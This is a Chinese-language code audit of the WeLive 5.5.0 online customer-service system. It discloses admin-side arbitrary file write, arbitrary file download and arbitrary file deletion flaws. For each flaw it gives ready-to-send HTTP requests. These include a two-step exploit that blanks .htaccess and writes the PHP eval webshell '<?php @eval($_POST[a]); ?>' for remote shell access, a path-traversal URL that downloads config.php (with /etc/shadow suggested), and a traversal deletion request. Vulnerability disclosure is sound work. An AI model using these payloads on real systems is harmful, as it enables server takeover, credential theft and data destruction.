WeLive在线客服系统5.5.0代码审计
背景
某月某日在家中闲来无事,浏览源码便下载来审,遇到的问题多存在在敏感操作的功能点上,这也是审计的关注点。
漏洞名称:WeLive在线客服系统5.5.0版本文件任意写入漏洞
版本:welive_5.5.0
漏洞危害:高危
漏洞描述:
WeLive在线客服系统是一个程序小巧,安装使用简单的网上在线客服系统。
WeLive_5.5.0版本存在文件写入漏洞,攻击者可利用该漏洞写入任意脚本文件,进而获取系统权限。
代码分析:
在源码中/admin/controllers/language.php中第92行之后save()函数负责处理保存语言文件。
在源码第111-112行可以看到用了两个函数:fopen()、fputs()。
其$filename和$filecontent可控,可以看到第95行代码,虽然$filename经过了basename()函数处理,不能使用../../跳目录,但是拼接了lang_path路径,依旧可以在language目录下写入文件。
默认该CMS在/language/目录下存在.htaccess文件限制目录文件访问,如果想要getshell,首先需要弄过该漏洞写入文件覆盖掉这个文件内容。
在POST数据包中,给filecontent传入我们要写入的PHP代码,就可以写入到指定的文件中去。
本地复现操作:
首先登录后台管理员账号。
构造数据包,这里直接先覆盖.htaccess文件,filecontent写为空,再覆盖一个English.php语言文件,filecontent写为构造的PHP代码:
POST /admin/index.php?c=language&a=save HTTP/1.1
Host: www.keefe.is
Content-Length: 31
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.keefe.is
Referer: http://www.keefe.is/admin/index.php?c=language&a=edit&filename=Chinese.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: fwfjX3LV2Gkdbackinfos=0; yNCOLvLEBWUZbackinfos=0; yNCOLvLEBWUZsafe=124ce13cf0050e6fe746ed6e3925c66c; 124ce13cf0050e6fe746ed6e3925c66c=940c91d3f220860dd358a0bdcc74ec6a; yNCOLvLEBWUZadmin=d0a2ad873629d1863da44e78c7df07c3
Connection: close
filename=.htaccess&filecontent=
POST /admin/index.php?c=language&a=save HTTP/1.1
Host: www.keefe.is
Content-Length: 41
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.keefe.is
Referer: http://www.keefe.is/admin/index.php?c=language&a=edit&filename=Chinese.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: fwfjX3LV2Gkdbackinfos=0; yNCOLvLEBWUZbackinfos=0; yNCOLvLEBWUZsafe=124ce13cf0050e6fe746ed6e3925c66c; 124ce13cf0050e6fe746ed6e3925c66c=940c91d3f220860dd358a0bdcc74ec6a; yNCOLvLEBWUZadmin=d0a2ad873629d1863da44e78c7df07c3
Connection: close
filename=English.php&filecontent=<?php @eval($_POST[a]); ?>
发送完两个数据包直接尝试用蚁剑连接。成功获取权限。
漏洞名称:WeLive在线客服系统5.5.0版本任意文件下载漏洞
版本:welive_5.5.0
漏洞危害:高危
漏洞描述:
WeLive在线客服系统是一个程序小巧,安装使用简单的网上在线客服系统。
WeLive_5.5.0版本存在任意文件下载漏洞,攻击者可以利用该漏洞获取敏感信息。
代码分析:
在源码中/admin/controllers/database.php中第40行代码使用了readfile()函数,该函数用来读取文件内容。
可以看到,第29行代码,$file变量可控,在当前函数传递的参数直接拼接路径和文件名,没有过滤,所以还可以跨目录读取文件。
本地复现操作:
首先登录后台管理员账号。
这里尝试下载/config/config.php该文件中保存着网站的数据库等重要的配置信息。
http://www.keefe.is/admin/index.php?c=database&a=ajax&action=download&file=../config/config.php
成功下载。
诸如/etc/shadow等这类重要的文件,如果说web的权限够大,都可以尝试下载到本地。
漏洞名称:WeLive在线客服系统5.5.0版本任意文件删除漏洞
版本:welive_5.5.0
漏洞危害:高危
漏洞描述:
WeLive在线客服系统是一个程序小巧,安装使用简单的网上在线客服系统。
WeLive_5.5.0版本存在任意文件删除漏洞,攻击者可利用该漏洞删除任意文件。
代码分析:
在源码中/admin/controllers/database.php中第57行代码使用了unlink()函数,该函数用来删除文件。
可以看到,第55行代码,$file变量可控,在当前函数传递的参数直接拼接路径和文件名,没有过滤,所以还可以跨目录删除文件。
本地复现操作:
首先登录后台管理员账号。
这里尝试删除web根目录下的test.txt
POST /admin/index.php?c=database&a=ajax&action=delete HTTP/1.1
Host: www.keefe.is
Content-Length: 16
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.keefe.is
Referer: http://www.keefe.is/admin/index.php?c=language&a=edit&filename=Chinese.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: fwfjX3LV2Gkdbackinfos=0; yNCOLvLEBWUZbackinfos=0; yNCOLvLEBWUZsafe=124ce13cf0050e6fe746ed6e3925c66c; 124ce13cf0050e6fe746ed6e3925c66c=940c91d3f220860dd358a0bdcc74ec6a; yNCOLvLEBWUZadmin=d0a2ad873629d1863da44e78c7df07c3
Connection: close
file=../test.txt
成功删除。